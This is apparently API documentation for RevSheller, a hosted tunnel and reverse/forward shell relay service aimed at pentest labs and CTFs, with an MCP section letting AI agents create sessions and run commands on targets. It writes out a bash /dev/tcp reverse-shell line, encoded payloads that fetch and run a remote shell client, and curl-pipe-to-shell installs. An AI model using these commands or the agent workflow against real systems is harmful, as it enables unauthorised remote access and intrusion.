revsheller_

Documentation

RevSheller does two things: HTTP tunnels that expose a local web server at a public https URL, and an API to create and manage reverse and forward shell sessions. During the free beta, every registered account has API access. After the beta, shell API access is planned to require Pro Plus. Building an AI agent integration? Jump to For AI agents.

On this page: HTTP tunnels · Shell sessions · WebSocket protocol · For AI agents · MCP server

Authentication

All API requests require a Bearer token using your API key:

Authorization: Bearer rsh_your_api_key_here

Generate your API key on the account page while signed in. Keys are free during the beta. Afterwards, any account with tunnel access can create one for tunnels, while the shell session API and MCP are planned for Pro Plus.

Base URL

https://revsheller.com/api

HTTP tunnels

A tunnel gives a web server on your machine a public https URL on revshell.org, such as https://tn-k3v9q2m7xa.revshell.org. A small client on your machine holds an outbound WebSocket to revsheller.com, and requests to the URL are forwarded down it to http://127.0.0.1:<port>. WebSocket upgrades are forwarded too. Tunnels need a registered account and an API key, and are free during the beta. Walkthroughs: share a dev server, test Stripe webhooks, tunnel basics and limits.

Quickstart

Nothing needs to be installed first. Create an API key on the account page, start your server, then run one command. It opens a menu that asks for the key (and can save it), the port, and whether to start a new tunnel or attach to, list or delete existing ones:

# macOS / Linux
(curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | sh

# Windows PowerShell
irm https://revsheller.com/tn.ps1 | iex

# Windows cmd
curl -fsSLo "%TEMP%\tn.cmd" https://revsheller.com/tn.cmd && "%TEMP%\tn.cmd"

For scripts, skip the menu and pass the command directly (port 3000 here):

# macOS / Linux
(curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | RSH_API_KEY=rsh_your_api_key sh -s -- http 3000

# Windows PowerShell
$env:RSH_API_KEY="rsh_your_api_key"; & ([scriptblock]::Create((irm https://revsheller.com/tn.ps1))) http 3000

# Windows cmd
set "RSH_API_KEY=rsh_your_api_key" & curl -fsSLo "%TEMP%\tn.cmd" https://revsheller.com/tn.cmd && "%TEMP%\tn.cmd" http 3000

/tn.sh and /tn.ps1 are short scripts you can read first. They download a small native client for your OS and CPU (macOS and Linux on x86_64 or arm64, 64-bit Windows), check it against the SHA-256 pinned in the script, and cache it in ~/.cache/revsheller or %LOCALAPPDATA%\revsheller. Later runs reuse the cached copy. On Windows the script defines a revsheller command for that PowerShell window. In POSIX shells, put RSH_API_KEY=… in front of sh, not curl: a variable prefix applies only to the command it precedes.

You can also download a client directly and run it yourself: linux-amd64, linux-arm64, macOS arm64, macOS x86_64, Windows x64. The checksums are in manifest.json.

With Node.js 22 or newer, the same client is also served as one self-contained JavaScript file: curl -fsSL https://revsheller.com/tn | RSH_API_KEY=rsh_your_api_key node - http 3000 (PowerShell: curl.exe -fsSL https://revsheller.com/tn | node - http 3000).

The client prints the public URL and one log line per request. It reconnects with backoff if the network drops, and Ctrl-C deletes the tunnel. Random URLs are never reused. You can also create and manage tunnels on the tunnels page while signed in.

API key lookup. The client reads the key from RSH_API_KEY, then from ~/.config/revsheller/config.json (written by --save), then asks on the terminal with input hidden. It refuses a key passed as a command-line argument, because arguments leak into shell history and process lists.

Client options

Usage: http <port> [options], after sh -s --, revsheller, the downloaded binary or node -.

Option What it does
--host <host>Local host to forward to (default 127.0.0.1). Use it for a server on IPv6 only, in a VM, or on another LAN machine. Tunnel domains are refused.
--host-header <mode>rewrite (default) sends Host: localhost:<port>, which dev servers accept. preserve sends the public tunnel hostname.
--name <name>Use a reserved name you own (<name>.revshell.org). Reserved names are planned for Pro and Pro Plus and are not part of the beta.
--tunnel <id>Attach to a tunnel you already created on the tunnels page, over REST or over MCP, instead of creating a new one.
--api <url>API origin (default https://revsheller.com).
--quietNo per-request log lines.
--log jsonPer-request log as JSON lines.
--saveSave the API key to ~/.config/revsheller/config.json.
-h, --help / -v, --versionShow help or print the client version.

REST endpoints

Base URL https://revsheller.com/api. Authenticate with Authorization: Bearer rsh_... or a signed-in browser session.

Endpoint What it does
POST /api/tunnelsCreate a tunnel. Optional body {"name": "..."} for a reserved name you own. Returns 201 with tunnel and connectUrl.
GET /api/tunnelsYour tunnels with live status (online, streams, wsCount, lastSeen, suspended), this month's usage, and your limits.
DELETE /api/tunnels/:idDisconnect the client, stop serving the URL and free the slot.
GET /api/tunnel-namesYour reserved names and maxReservedNames.
POST /api/tunnel-namesReserve {"name": "..."} (planned for Pro and Pro Plus).
DELETE /api/tunnel-names/:nameRelease a name and close its open tunnel.
# Create a tunnel, then attach the client to it
curl -s -X POST https://revsheller.com/api/tunnels \
  -H "Authorization: Bearer rsh_your_api_key"

# Response (201 Created)
{
  "tunnel": {
    "id": "tn-k3v9q2m7xa",
    "hostname": "tn-k3v9q2m7xa.revshell.org",
    "url": "https://tn-k3v9q2m7xa.revshell.org",
    "kind": "random",
    "createdAt": 1710000000000,
    "expiresAt": 1710028800000,
    "limits": { "maxTunnels": 2, "bytesPerMonth": 10737418240, ... }
  },
  "connectUrl": "wss://revsheller.com/api/tunnels/tn-k3v9q2m7xa/connect"
}

curl -fsSL https://revsheller.com/tn | RSH_API_KEY=rsh_your_api_key node - http 3000 --tunnel tn-k3v9q2m7xa

expiresAt is null on plans without a lifetime cap. Errors use the usual {"error": "..."} body: 403 without an account or for a reserved name you don't own, 404 for an unknown tunnel, 409 for a taken name, 429 at the tunnel or name limit (the body includes limitHit) or when rate limited, and 503 while tunnels are switched off.

MCP tools

The MCP server has three tunnel tools. They follow the same limits as the REST API.

Limits

During the beta, every registered account gets: 2 tunnels at a time, 10 GiB of traffic a month, a lifetime of up to 8 hours per tunnel, 600 requests a minute per tunnel, request bodies up to 25 MB, 100 concurrent requests and 20 open visitor WebSockets per tunnel. Reserved names are not part of the beta. Traffic counts request and response bodies, WebSocket messages in both directions, and an estimate of header size. When a tunnel reaches its lifetime, the client opens a new one with a new URL. The planned limits per plan are on the pricing page.

Other fixed limits: the tunnel waits up to 100 seconds for your server to start responding (then 504). A WebSocket message can be up to 1 MiB. If the client disconnects, the tunnel waits 10 minutes for it to reconnect before closing. Over a limit, visitors get 429 (rate or monthly bandwidth), 413 (body size) or 503 (concurrent requests), and an offline client gives 502.

The visitor warning page

A browser loading a page on a tunnel (a GET that asks for HTML) first sees a short RevSheller notice naming the host. Continue sets a host-only __Host-rs_tn_ack cookie for 7 days, and the browser then goes straight to your app. Requests that don't ask for HTML, such as webhooks, curl and fetch() calls, skip the page, and so does any request with the header X-RevSheller-Skip-Warning: 1. That cookie is removed before the request reaches your server.

What your server receives

Cookies: don't rely on isolation between tunnels yet

Each tunnel has its own hostname, and the relay makes every Set-Cookie from your server host-only by removing its Domain attribute. Tunnels are also on a separate domain from revsheller.com, so tunneled apps can't touch your RevSheller session. But revshell.org is not yet on the Public Suffix List. Until it is, JavaScript running on one tunnel can set a cookie with Domain=revshell.org, and browsers will send it to every other tunnel. Treat cookies on a tunnel as visible to, and settable by, other tunnels: don't put long-lived secrets in cookies, and don't trust a cookie only because your app expects to have set it.

Acceptable use

No phishing, malware or command-and-control. Reported tunnels can be suspended, and three separate reports within 24 hours suspend a tunnel automatically. A suspended tunnel's client stops and does not reconnect. See the Terms of Service, and report misuse at /abuse.

Shell session endpoints

Create a session (reverse shell)

Creates a new reverse shell session and returns connection details + pre-generated payloads.

# Request
curl -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json"

# Response (200 OK)
{
  "session": {
    "id": "abc12345",
    "operatorSecret": "op_a1b2c3d4e5f6...",
    "targetSecret": "tgt_f6e5d4c3b2a1...",
    "operatorConnected": false,
    "targetConnected": false,
    "createdAt": 1710000000000,
    "idleTimeoutMs": 3600000,
    "mode": "reverse"
  },
  "payloads": {
    "auto": "sh -c \"for c in python3 python py; do ...\"",
    "auto_windows": "powershell -NoProfile -Command \"& { ... }\""
  },
  "operatorUrl": "wss://abc12345.revsheller.com/ws/operator",
  "httpBase": "https://abc12345.revsheller.com",
  "wsBase": "wss://abc12345.revsheller.com",
  "pathPrefix": "",
  "plan": "api",
  "limits": {
    "maxSessions": null,
    "idleTimeoutMs": 3600000
  }
}

Create a session (forward shell)

Creates a forward shell session — RevSheller connects outbound to a target host:port and relays it to your operator WebSocket. Free during the beta; planned for Pro Plus afterwards. The target must be reachable on a public IP (private/RFC1918 addresses and port 25 are blocked).

# Request
curl -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{
    "mode": "forward",
    "targetHost": "203.0.113.5",
    "targetPort": 4444
  }'

# Response (200 OK)
{
  "session": {
    "id": "xyz98765",
    "operatorSecret": "op_a1b2c3d4e5f6...",
    "targetSecret": "tgt_f6e5d4c3b2a1...",
    "operatorConnected": false,
    "targetConnected": false,
    "createdAt": 1710000000000,
    "idleTimeoutMs": 3600000,
    "mode": "forward",
    "targetHost": "203.0.113.5",
    "targetPort": 4444
  },
  "payloads": {},
  "operatorUrl": "wss://xyz98765.revsheller.com/ws/operator",
  ...
}

# Error: wrong plan (403)
{ "error": "Forward shells require a Pro Plus subscription." }

# Error: private IP (400)
{ "error": "Cannot connect to private/reserved addresses. Target must be a public IP or hostname." }

Once created, connect as operator via WebSocket (same as reverse shells). The TCP connection to the target is initiated automatically when the operator WebSocket connects. No payloads are generated since no code runs on the target — RevSheller connects directly.

Get session info

Returns the current status of a session. Requires the operator secret.

# Request
curl https://revsheller.com/api/session/abc12345 \
  -H "Authorization: Bearer op_a1b2c3d4e5f6..."

# Response (200 OK)
{
  "id": "abc12345",
  "operatorConnected": true,
  "targetConnected": false,
  "createdAt": 1710000000000,
  "idleTimeoutMs": 3600000
}

# Response (404 — wrong token or non-existent session)
{ "error": "Session not found" }

Delete a session

Tears down a session and releases the session slot. Requires the operator secret.

# Request
curl -X DELETE https://revsheller.com/api/session/abc12345 \
  -H "Authorization: Bearer op_a1b2c3d4e5f6..."

# Response (200 OK)
{ "ok": true }

Generate a payload

Generates a specific payload type for a session. Useful for custom integrations.

# Request
curl -X POST https://revsheller.com/api/payload/generate \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "auto",
    "slug": "abc12345",
    "token": "tgt_f6e5d4c3b2a1...",
    "variant": "posix",
    "encoding": "base64"
  }'

# Response (200 OK)
{ "payload": "echo ... | base64 -d | sh" }

Optional variant: posix (default) or windows for the outer Python one-liner suited to cmd/PowerShell.

WebSocket protocol

After creating a session, connect as the operator via WebSocket to interact with the shell.

Connecting: Use the operatorUrl from the create-session response. Authenticate by passing the operator secret in the Sec-WebSocket-Protocol subprotocol header:

# Using websocat (example)
websocat "wss://abc12345.revsheller.com/ws/operator" \
  --protocol "token.op_a1b2c3d4e5f6..."

# Using wscat
wscat -c "wss://abc12345.revsheller.com/ws/operator" \
  -s "token.op_a1b2c3d4e5f6..."

The subprotocol value is the literal prefix token. followed by the operator secret. A missing or wrong token returns 404.

Data format: Regular binary frames are shell I/O (stdin/stdout). Control messages are prefixed with a \x00 null byte followed by a JSON object:

# Control message format (binary frame):
\x00{"type":"resize","cols":120,"rows":40}

# Control message types:
# resize — send terminal dimensions to the target shell
# status — server → client status updates (e.g., target connected/disconnected)
# ping   — keepalive

Resize: When the operator's terminal size changes, send a resize control message so the target shell adapts:

// JavaScript example
const msg = JSON.stringify({ type: "resize", cols: 120, rows: 40 });
ws.send(new Uint8Array([0, ...new TextEncoder().encode(msg)]));

For AI agents

This section shows how an AI agent or automation can get shell access to your own lab and CTF machines through the API, with no listener infrastructure to run. Use it only against systems you own or have explicit written permission to test; you are responsible for what your agent does (see the Terms of Service and abuse policy). All tokens below are placeholders.

If your agent speaks MCP, skip the REST steps below and use the MCP server. The REST and WebSocket endpoints described here remain available for scripts and custom agents.

1. Create an API key

Sign in and generate a key on the account page. Under the hood this is POST /api/auth/api-key, which needs your signed-in browser session (cookie), not a Bearer token, and returns the raw key once. A new key replaces the old one. GET /api/auth/api-key only returns a masked placeholder. Keys start with rsh_. Send the key as Authorization: Bearer rsh_... when creating sessions.

# Signed-in browser session only (cookie), shown for reference:
POST /api/auth/api-key
{ "apiKey": "rsh_your_api_key", "scope": "full", "message": "Save this key — it won't be shown again." }

2. Create a session

curl -s -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json"

The response contains session.id, session.operatorSecret (op_...), session.targetSecret (tgt_...), payloads, and operatorUrl. Keep the secrets out of logs and prompts you do not control.

3. Get the payload to run on your target

For reverse sessions the create response already includes the target commands: payloads.auto (Unix) and payloads.auto_windows (Windows). Run the one that fits on a machine you are authorized to test. To regenerate one later, or to pick an encoding, call POST /api/payload/generate with the session id as slug and the targetSecret as token (see above). GET /api/session/:id with the operator secret returns the session state and targetSecret but not the payload strings. For forward sessions ("mode": "forward" with targetHost and targetPort), there is no payload; RevSheller connects out to the host you name.

curl -s https://revsheller.com/api/session/SESSION_ID \
  -H "Authorization: Bearer op_your_operator_secret"
# -> operatorConnected, targetConnected, mode, targetSecret, operatorUrl, ...

4. Connect as operator over WebSocket

Open operatorUrl (wss://SESSION_ID.revsheller.com/ws/operator). The path-based fallback is wss://revsheller.com/s/SESSION_ID/ws/operator. Pass the operator secret in the Sec-WebSocket-Protocol header as token.op_your_operator_secret. Do not put it in the URL. Only one operator connection is allowed per session at a time. Binary frames are shell I/O; frames starting with a \x00 byte carry JSON control messages (see WebSocket protocol).

websocat "wss://SESSION_ID.revsheller.com/ws/operator" \
  --protocol "token.op_your_operator_secret"

There is no HTTP operator endpoint. The /t/up, /t/data and /t/down HTTP routes are the target side of the curl transport, not for operators, so agents should use the WebSocket. Poll GET /api/session/:id if you need to know whether the target has connected.

5. Delete the session

curl -s -X DELETE https://revsheller.com/api/session/SESSION_ID \
  -H "Authorization: Bearer op_your_operator_secret"
# -> { "ok": true }

Always delete sessions when the agent is done. Sessions also end on their idle timeout.

Plans and beta notes

MCP server

RevSheller runs a remote Model Context Protocol server, so an AI agent can create a session, get the command to run on your target, and then run commands and read output, with no code to write. Use it only against systems you own or have explicit written permission to test; you are responsible for what your agent does.

Endpoint: POST https://revsheller.com/mcp (Streamable HTTP, stateless, JSON responses, no SSE). Auth: Authorization: Bearer rsh_... with an API key from the account page. Cookies are not accepted and there is no CORS or OAuth.

Setup: Claude Code

claude mcp add --transport http revsheller https://revsheller.com/mcp \
  --header "Authorization: Bearer rsh_your_api_key"

Setup: Claude Desktop

Claude Desktop reaches remote servers through the mcp-remote bridge. Add this to claude_desktop_config.json:

{
  "mcpServers": {
    "revsheller": {
      "command": "npx",
      "args": ["-y", "mcp-remote@0.16.7", "https://revsheller.com/mcp",
               "--header", "Authorization: Bearer ${RSH_KEY}"],
      "env": { "RSH_KEY": "rsh_your_api_key" }
    }
  }
}

Typical workflow

  1. create_session returns a session id and target_commands (posix and windows).
  2. Run the right command on your authorized target.
  3. session_status until targetConnected is true.
  4. run_command for each step; close_session when done.

The browser can watch the same session at the same time: the agent never receives the operator secret, and both sides can type.

Tools

Tool Inputs Returns
create_sessionmode (reverse|forward), target_host, target_port (forward), custom_subdomainsession id, limits, target_commands
get_target_commandsession_id, variant (posix|windows), type (default auto), encodingcommand to run on the target
session_statussession_idconnection state, transport, mode, last status
send_inputsession_id, data (max 16 KiB), append_newline (default true)cursor, bytes written
read_outputsession_id, cursor, wait_ms (0-25000), max_bytes, strip_ansioutput, next cursor, more, dropped_bytes, reset
run_commandsession_id, command, shell (posix|powershell|cmd|raw), timeout_ms (1000-55000), idle_ms, max_bytesoutput, exit_code / success, completed, timed_out, cursor
list_sessionsnoneyour sessions
close_sessionsession_idok

Forward sessions dial the target on the first send_input or run_command. A session that does not exist or belongs to someone else returns Session not found.

Gating and limits

Risks and caveats

Error reference

All errors return JSON with an error field. Here are the possible status codes:

Status Meaning Example Response
400 Bad request — missing or invalid parameters { "error": "Email and password are required" }
401 Unauthorized — invalid API key or credentials { "error": "Invalid API key" }
403 Forbidden — session limit reached or wrong plan { "error": "Session limit reached (1 for free tier)." }
404 Not found — session doesn't exist or wrong token { "error": "Session not found" }
409 Conflict — email already registered { "error": "Email already registered" }
429 Rate limited — too many requests { "error": "Too many requests" }
500 Internal server error { "error": "Internal server error" }

Payload type

There is a single reverse shell type: auto. It starts with sh (Unix) or powershell (Windows) to locate Python, then uses Python stdlib to open a WebSocket, fetch the hosted client from /assets/rs-python-ws.py, and spawn an interactive shell (POSIX PTY or Windows pipes). GET /api/payloads returns metadata for this type.

Session creation returns two pre-generated strings: payloads.auto (Unix) and payloads.auto_windows (Windows).

Encoding options: none, base64, urlencode, hex, powershell_b64 (for -EncodedCommand).

Bridge agent (VPN networks)

For targets on isolated networks (HackTheBox, TryHackMe, Offshore labs) that can't reach revsheller.com, a bridge runs on your VPN-connected machine and relays TCP connections to RevSheller via WebSocket. Free during the beta; planned for Pro Plus afterwards.

# Architecture:
# Target (VPN) --TCP--> Bridge (your machine) --WSS--> RevSheller (cloud) --> Operator (browser)

# 1. Create a session via API or browser
SESSION_ID="abc12345"
TGT_SECRET="tgt_f6e5d4c3b2a1..."

# 2. Run bridge on your machine (connected to both VPN and internet)
./rsh-bridge \
  --url wss://${SESSION_ID}.revsheller.com/ws/target \
  --token ${TGT_SECRET} \
  --listen 0.0.0.0:4444

# 3. On the target machine (VPN network), connect to your bridge:
bash -i >& /dev/tcp/YOUR_VPN_IP/4444 0>&1

# The bridge forwards the TCP connection to RevSheller as a standard
# WebSocket target connection. Your browser shell works normally.

Bridge methods

Four bridge methods are available. All are hosted at revsheller.com/assets/.

MethodInstallRun
Binary (Go) curl -Lo rsh-bridge revsheller.com/assets/rsh-bridge-linux-amd64 && chmod +x rsh-bridge ./rsh-bridge --url wss://SLUG.revsheller.com/ws/target --token tgt_XXX --listen 0.0.0.0:4444
Python pip3 install websockets && curl -O revsheller.com/assets/rsh-bridge.py python3 rsh-bridge.py --url ... --token ... --listen 0.0.0.0:4444
PowerShell curl -O revsheller.com/assets/rsh-bridge.ps1 pwsh rsh-bridge.ps1 -Url ... -Token ... -Listen 0.0.0.0:4444
Bash (websocat) curl -Lo websocat github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl && chmod +x websocat ./websocat -b --protocol "token.tgt_XXX" "tcp-l:0.0.0.0:4444" "wss://SLUG.revsheller.com/ws/target"

Binary downloads are available for Linux (amd64, arm64), macOS (amd64, arm64), and Windows (amd64). The bridge setup UI in the browser generates pre-filled commands with your session URL and token.

Rate limits

API requests are rate-limited to 20 requests per minute per IP address. Auth endpoints have stricter limits (3-5 req/min).

Full example: create, connect and clean up

# 1. Create a session
curl -s -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" | jq .

# 2. Extract values from response
SESSION_ID="abc12345"
OP_SECRET="op_a1b2c3d4e5f6..."
TGT_SECRET="tgt_f6e5d4c3b2a1..."

# 3. Connect as operator (using websocat)
websocat "wss://${SESSION_ID}.revsheller.com/ws/operator" \
  --protocol "token.${OP_SECRET}"

# 4. On target machine, run payloads.auto or payloads.auto_windows (sh/PowerShell + Python on target)

# 5. Check session status
curl -s https://revsheller.com/api/session/${SESSION_ID} \
  -H "Authorization: Bearer ${OP_SECRET}" | jq .

# 6. Generate a custom payload
curl -s -X POST https://revsheller.com/api/payload/generate \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d "{
    \"type\": \"auto\",
    \"slug\": \"${SESSION_ID}\",
    \"token\": \"${TGT_SECRET}\",
    \"variant\": \"posix\",
    \"encoding\": \"none\"
  }" | jq -r .payload

# 7. Delete session when done
curl -s -X DELETE https://revsheller.com/api/session/${SESSION_ID} \
  -H "Authorization: Bearer ${OP_SECRET}" | jq .